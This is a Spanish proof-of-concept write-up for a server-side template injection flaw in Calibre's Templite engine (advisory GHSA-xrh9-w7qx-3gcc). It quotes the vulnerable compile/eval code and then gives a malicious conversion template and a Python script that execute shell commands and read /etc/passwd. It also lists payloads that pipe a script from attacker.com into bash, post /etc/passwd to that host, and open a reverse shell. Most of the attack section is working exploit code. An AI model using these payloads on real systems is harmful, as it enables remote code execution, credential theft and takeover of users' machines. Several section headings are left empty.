
Prueba de concepto para una vulnerabilidad de inyección de plantillas del lado del servidor (SSTI) en el motor Templite de Calibre (GHSA-xrh9-w7qx-3gcc). Demuestra la ejecución arbitraria de código Python mediante plantillas de exportación HTML proporcionadas por el usuario en versiones afectadas (≤ 9.1.0).
Gravedad: Alta (CVSS 7.8)
Software afectado: calibre <= 9.1.0
Corregido en: 9.2.0
Aviso: GHSA-xrh9-w7qx-3gcc
Una vulnerabilidad de Inyección de Plantillas del Lado del Servidor (SSTI) en el motor de plantillas Templite de Calibre permite la ejecución arbitraria de código cuando un usuario convierte un libro electrónico utilizando un archivo de plantilla personalizado malicioso mediante las opciones de línea de comandos --template-html o --template-html-index.
El motor Templite (src/templite/__init__.py) compila y evalúa plantillas utilizando las funciones compile() y de Python sin ningún tipo de sandboxing:
eval()Código vulnerable en src/templite/__init__.py:
# Línea 72: La plantilla se compila a código Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Línea 90: El código compilado se ejecuta mediante eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Ejecución arbitraria de código
Vector de ataque en src/calibre/ebooks/conversion/plugins/html_output.py:
# Líneas 96-98: Se carga el archivo de plantilla proporcionado por el usuario
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Línea 136: La plantilla se pasa al motor Templite vulnerable
templite = Templite(template_html_index_data)
El mismo patrón existe para la opción --template-html (líneas 102-106, 200).
Guarda lo siguiente como malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Plantilla Maliciosa</title></head>
<body>
<h1>¡Libro convertido!</h1>
<!-- El payload SSTI ejecuta comandos arbitrarios -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Convertir cualquier libro electrónico usando la plantilla maliciosa
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Salida: uid=501(username) gid=20(staff) groups=...
# Ejecución de comandos
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Exfiltración de archivos
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Shell inversa
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Ejecución de comandos
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Usuario:", t.render()) # Imprime el nombre de usuario actual
# Lectura de archivos
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Archivo:", t.render()) # Imprime la primera línea de /etc/passwd
Quiénes están afectados:
Escenario de ataque:
ebook-convert book.epub out.zip --template-html=template.tmpl